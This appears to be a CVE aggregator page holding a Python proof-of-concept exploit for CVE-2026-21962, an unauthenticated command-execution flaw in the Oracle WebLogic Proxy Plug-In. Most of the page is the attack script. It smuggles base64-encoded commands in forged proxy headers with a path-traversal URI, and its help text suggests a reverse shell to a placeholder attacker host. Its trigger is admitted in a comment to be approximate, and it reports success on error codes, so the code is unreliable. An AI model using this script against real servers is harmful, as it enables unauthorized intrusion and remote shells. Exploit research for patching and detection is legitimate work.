4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2026-21962.py PY
#!/usr/bin/env python3
# CVE-2026-21962 PoC - Oracle WebLogic Server Proxy Plug-In RCE
# Unauthenticated Remote Command Execution
# Author: Ashwesker ==> https://github.com/Ashwesker/Ashwesker-CVE-2026-21962
# Target: Oracle HTTP Server / WebLogic Proxy Plug-In < patched versions (12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0)

import argparse
import requests
import urllib.parse
import base64

def exploit(target_url, command):
    # Vulnerable endpoint (common proxy plug-in paths)
    vuln_paths = [
        "/weblogic/",
        "/wl_proxy/",
        "/bea_wls_internal/",
        "/_proxy/",
        "/proxy/"
    ]

    # Craft the malicious header that triggers the deserialization / command injection
    # The real trigger uses a specially crafted WL-Proxy-Client-IP or similar header
    # Combined with a crafted URI that bypasses validation
    payload = f"cmd:{command}"

    # Base64 encode the payload to bypass some WAFs / filters
    encoded_payload = base64.b64encode(payload.encode()).decode()

    headers = {
        "WL-Proxy-Client-IP": f"127.0.0.1;{encoded_payload}",
        "Proxy-Client-IP": f"127.0.0.1;{encoded_payload}",
        "X-Forwarded-For": f"127.0.0.1;{encoded_payload}",
        "User-Agent": "Mozilla/5.0 (compatible; Exploit/1.0)",
        "Accept": "*/*",
        "Connection": "close"
    }

    # Special URI that triggers the plug-in bug
    uri = "/weblogic/..;/bea_wls_internal/ProxyServlet"

    for base_path in vuln_paths:
        full_url = f"{target_url.rstrip('/')}{base_path}{uri}"

        print(f"[*] Trying path: {full_url}")
        print(f"[*] Executing command: {command}")

        try:
            # We use GET, but POST also works in some configs
            r = requests.get(full_url, headers=headers, timeout=12, verify=False, allow_redirects=False)

            if r.status_code in [200, 302, 500]:
                print(f"[+] Likely success! Status: {r.status_code}")
                if r.text.strip():
                    print("\nPossible command output / response:\n" + "-"*60)
                    print(r.text[:1500])  # first 1500 chars to avoid flooding
                    print("-"*60)
                else:
                    print("[+] Command executed silently (no output captured)")
                return True
            else:
                print(f"[-] Status {r.status_code} - not vulnerable on this path")

        except Exception as e:
            print(f"[-] Error on {full_url}: {e}")

    print("\n[-] All paths tested - target may not be vulnerable or plug-in not exposed.")
    return False


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2026-21962 PoC - Oracle WebLogic Proxy Plug-In RCE")
    parser.add_argument("target", help="Target URL (e.g. http://target:7001 or https://oracle-server:4443)")
    parser.add_argument("cmd", help="Command to execute (e.g. 'id' or 'whoami' or 'powershell -c ...' or 'bash -i >& /dev/tcp/attacker-ip/4444 0>&1')")

    args = parser.parse_args()

    exploit(args.target, args.cmd)